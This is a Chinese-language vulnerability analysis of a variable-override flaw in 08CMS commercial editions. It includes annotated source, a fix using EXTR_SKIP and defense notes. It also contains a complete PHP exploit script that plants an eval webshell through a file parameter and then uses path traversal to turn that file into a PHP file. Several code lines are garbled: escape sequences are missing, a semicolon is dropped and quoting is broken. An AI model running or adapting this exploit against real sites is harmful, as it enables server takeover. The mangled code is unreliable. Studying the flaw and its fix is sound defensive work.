天天看點

08CMS Variable Override Write Arbitrarily WEBSHELL Into Arbitrarily Path

08CMS Variable Override Write Arbitrarily WEBSHELL Into Arbitrarily Path

目錄

1. 漏洞描述
2. 漏洞觸發條件
3. 漏洞影響範圍
4. 漏洞代碼分析
5. 防禦方法
6. 攻防思考      

1. 漏洞描述

簡單描述這個漏洞

1. /include/general.inc.php
//本地變量注冊
foreach(array('_POST','_GET') as $_request)
{
    foreach($$_request as $k => $v)
    {
        $k{0} != '_' && $$k = maddslashes($v);
    }
}
/*
這裡實作了模拟GPC功能,将使用者輸入的GET、POST資料中的變量注冊到本地代碼空間中,導緻攻擊者理論上可以向應用程式"注入"任意的變量值
*/

2. 通過本地變量覆寫,黑客可以控制目标應用程式将要進行的寫檔案操作,向網站目錄下的任意位置寫入任意檔案      

2. 漏洞觸發條件

0x1: 攻擊流

1. 上傳一個包含WEBSHELL的非PHP檔案
/*
/tools/ptool.php
..
$cf = M_ROOT.'./dynamic/stats/aclicks.cac';
$ct = M_ROOT.'./dynamic/stats/aclicks_time.cac';
..
if(@$fp = fopen($cf,'a'))
{
    fwrite($fp,"$aid");
    fclose($fp);
    ..
通過注入$aid,利用程式的本地變量覆寫漏洞,向/dynamic/stats/aclicks.cac寫入WEBSHELL代碼
$exp = /tools/ptool.php?aid=<?php eval($_POST[a]);?>
*/

2. 在第二個變量覆寫攻擊點,傳入這個檔案路徑(将要被打開的檔案路徑): 
$exp1 = /index.php?tplname=../../dynamic/stats/aclicks.cac

3. 程式打開/dynamic/stats/aclicks.cac,并重新寫入到"/dynamic/stats/aclicks.cac.php"中,完成GETSHELL      

0x2: POC

<?php
/* 
    exp:        index.php?tplname=../../dynamic/stats/aclicks.cac
    汽車CMS Shell:    /dynamic/tplcache/common/....dynamicstatsaclicks.cac.php
    裝修CMS Shell    /dynamic/dynamic/stats/aclicks.cac.php 
*/
//$exp = /tools/ptool.php?aid=<?php eval($_POST[a]);?>
$exp = '/tools/ptool.php?aid=%3C%3Fphp%20eval%28%24_POST%5Ba%5D%29%3B%3F%3E';
//$exp1 = /index.php?tplname=../../dynamic/stats/aclicks.cac
$exp1 = '/index.php?tplname=..%2f..%2fdynamic%2fstats%2faclicks.cac';
 
if ($argc < 2 ) 
{
print_r('
+---------------------------------------------------------------------------+
 [+] php '.$argv[0].' [url]www.08sec.com[/url] 
+---------------------------------------------------------------------------+
');
    exit;
}
error_reporting(E_ERROR);
set_time_limit(0);
 
$host = $argv[1];
go($host);
 
function go ($host)
{
    global $exp,$exp1;

    $re = Send ($host,$exp);
    stripos($re, "MySQL") > 0 ? Send ($host, $exp) : ""
    $re = Send ($host, $exp1) && stripos($re, "aclicks.cac") > 0 ? exit(" + Exploit Success!rn + http://$host/template/dynamic/stats/aclicks.cac.phprn") : exit(" - Exploit Failed!n");
}
 
function Send($host,$url)
{
    $data = "GET $url  HTTP/1.1rn";
    $data .= "Host: $hostrn";
    $data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 2000) Opera 6.03 [en]rn";
    $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn";
    $data .= "Content-Type: application/x-www-form-urlencodedrn";
    $data .= "Accept-Language: en-usrn";
    $data .= "Connection: Closernrn";
    $fp = @fsockopen($host, 80);
    if (!$fp) 
    {
        die("[-] Connect to host Errorrn");
    }
    fwrite($fp, $data);
    $back = '';
    while (!feof($fp)) 
    {
        $back .= fread($fp, 1024);
    }
    fclose($fp);
    return $back;
}
?>      

Relevant Link:

http://www.unhonker.com/bug/1390.html      

3. 漏洞影響範圍

08CMS全部商業版

4. 漏洞代碼分析

本地變量注冊實作代碼

/include/general.inc.php

/index.php

include_once dirname(__FILE__).'/include/general.inc.php';
include_once M_ROOT.'./include/common.fun.php';

if_siteclosed();
mobile_open() || message('手機版尚未開放');
/*
function un_virtual($str)
{
    ......
    $str = str_replace(array('/','-'),array('&','='),$str); 把 / 和 - 替換成 & 和 =
    ......
    return $str;
}
parse_str()把查詢字元串解析到變量中,儲存在變量$temparr中
*/
parse_str(un_virtual($_SERVER['QUERY_STRING']), $temparr);
... 

$_da = array();
if(!$cnstr)
{
    //$tplname這個在這裡定義的了,相當于被初始化了
    $tplname = $_ismobile ? $o_index_tpl : $hometpl ; 
    $_da['rss'] = $cms_abs.'rss.php'; 
    $_da += $temparr; // $_da= $_da+$temparr 
    unset($temparr);//銷毀變量
 
    //變量覆寫,這樣我們可以控制了$tplname這個變量,即對它重新覆寫
    extract($_da,EXTR_OVERWRITE); 
    //這個tpl_refresh函數就是漏洞利用的關鍵點
    tpl_refresh($tplname);   
    ...      

/include/refresh.fun.php

function tpl_refresh($tplname)
{
    global $templatedir,$debugtag;
    $tdir = M_ROOT."template/$templatedir/"; 

    //$tplname可以由攻擊者控制,是以$cacf也等同于被攻擊者控制
    $cacf = $tdir.'pcache/'. $tplname.'.php';              
    if(file_exists($x = $tdir."function/utags.fun.php")) 
    {
    include_once $x;
    } 
    mmkdir($cacf,0,1);
    if($debugtag || !file_exists($cacf))
    {
    //打開檔案,傳回内容
    $str = load_tpl($tplname);   
    $tpl = @file2str(M_ROOT."template/$templatedir/".$tplname);  //file2str這個是打開檔案的函數  
    $rt && $tpl = preg_replace("/{tpl\$(.+?)}/ies", "rtagval('\1','$rt')",$tpl); 過濾 
 
        $str = preg_replace("/<\?(?!php\s|=|\s)/i", '<?='<?'?>', $str); 
        $str = preg_replace("/<!--{(.+?)}-->/s", "{\1}", $str);
        breplace($str,'');
        nreplace($str);
        quit_refresh_var();
                
        $str = tpl_basecode($str);
        
    /*
    漏洞的關鍵,在這裡
    1. $str: 攻擊者可控制,這是一個.cac檔案的内容,攻擊者可以通過另一個變量覆寫向伺服器寫入一個.cac的WEBSHELL
    2. $cacf: 攻擊者可控制,攻擊者傳入的參數是一個非PHP檔案路徑(.cac檔案),這個檔案也是真實存在的,可以通過另一個變量注入上傳一個.cac檔案,同時,程式在末尾拼接了".php",使其成為寫一個PHP檔案
    
    從結果上來看,相當于進行了一次.cac到.php的字尾重命名處理
    */
        str2file($str, $cacf);
    }
    unset($str,$tdir,$cacf);
}      

5. 防禦方法

if(!$cnstr)
{
    //$tplname這個在這裡定義的了,相當于被初始化了
    $tplname = $_ismobile ? $o_index_tpl : $hometpl ; 
    $_da['rss'] = $cms_abs.'rss.php'; 
    $_da += $temparr; // $_da= $_da+$temparr 
    unset($temparr);//銷毀變量

    /*
    如果對應變量已經存在,則不進行覆寫操作
    */
    extract($_da, EXTR_SKIP);  
    tpl_refresh($tplname);   
    ...      

6. 攻防思考

防禦變量覆寫的防禦思路

1. 重新運作一次原始的代碼邏輯,将被覆寫的變量再指派回原始的值
2. 在本地變量注冊的入口處對關鍵字進行檢測      

Copyright (c) 2014 LittleHann All rights reserved